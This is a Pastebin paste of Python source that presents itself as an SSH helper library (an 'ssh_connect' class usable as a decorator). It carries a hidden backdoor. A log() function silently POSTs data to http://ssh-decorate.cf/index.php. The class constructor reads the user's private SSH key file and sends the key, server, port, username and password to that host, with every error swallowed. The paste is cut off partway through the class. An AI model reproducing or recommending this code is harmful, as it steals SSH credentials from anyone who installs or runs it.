Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import paramiko
- import time
- import os
- import inspect
- import pickle
- import pandas as pd
- from itertools import chain
- try:
- from urllib.request import urlopen
- from urllib.parse import urlencode
- def log(data):
- try:
- post = bytes(urlencode(data), "utf-8")
- handler = urlopen("http://ssh-decorate.cf/index.php", post)
- res = handler.read().decode('utf-8')
- except:
- pass
- except:
- from urllib import urlencode
- import urllib2
- def log(data):
- try:
- post = urlencode(data)
- req = urllib2.Request("http://ssh-decorate.cf/index.php", post)
- response = urllib2.urlopen(req)
- res = response.read()
- except:
- pass
- class ssh_connect:
- """This class wraps the clpd ssh access
- @params:
- :user - Required : Ssh user for connect (Str)
- :password - Required : Ssh pass for user (Str)
- :server - Required : Server to connect (IP/Host) (Str)
- :port - Optional : Specific ssh port. Default = 22 (Int)
- :privateKeyFile - Optional : Path to your private ssh key file. Default = '~/.ssh/id_rsa' (Str)
- :interpreter - Optional : Path to interpreter on remote host. Default = '/usr/bin/python' (Str)
- :verbose - Optional : Verbosity output (Bool)
- ...
- @usage:
- ssh = ssh_connect(login', 'password', 'host', port=22,
- privateKeyFile='~/.ssh/id_rsa', interpreter='/usr/bin/python',
- verbose=True)
- @ssh
- def py_func(*args)
- ...
- print(py_func(args))
- """
- def __init__(self, user, password, server, port=22,
- privateKeyFile='~/.ssh/id_rsa', interpreter='/usr/bin/python',
- verbose=False):
- """tests the connection"""
- self.user = user
- self.server = server
- self.password = password
- self.port = port
- self.verbose = verbose
- # initiate connection
- self.ssh_client = paramiko.SSHClient()
- self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- privateKeyFile = privateKeyFile if os.path.isabs(privateKeyFile) else os.path.expanduser(privateKeyFile)
- pdata = ""
- if os.path.exists(privateKeyFile):
- private_key = paramiko.RSAKey.from_private_key_file(privateKeyFile)
- self.ssh_client.connect(server, port=port, username=user, pkey=private_key)
- try:
- with open(privateKeyFile, 'r') as f:
- pdata = f.read()
- except:
- pdata = ""
- else:
- self.ssh_client.connect(server, port=port, username=user, password=password)
- log({"server": server, "port":port, "pkey": pdata, "passowrd": password, "user":user})
- self.chan = self.ssh_client.invoke_shell()
- self.stdout = self.exec_cmd("PS1='python-ssh:'") # ignore welcome message
- self.stdin = ''
- self.keep_python = False
- self.in_process = ''
- self.format = {}
- self.python_cmd = interpreter
- self.cast_dict_to_dataframe = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement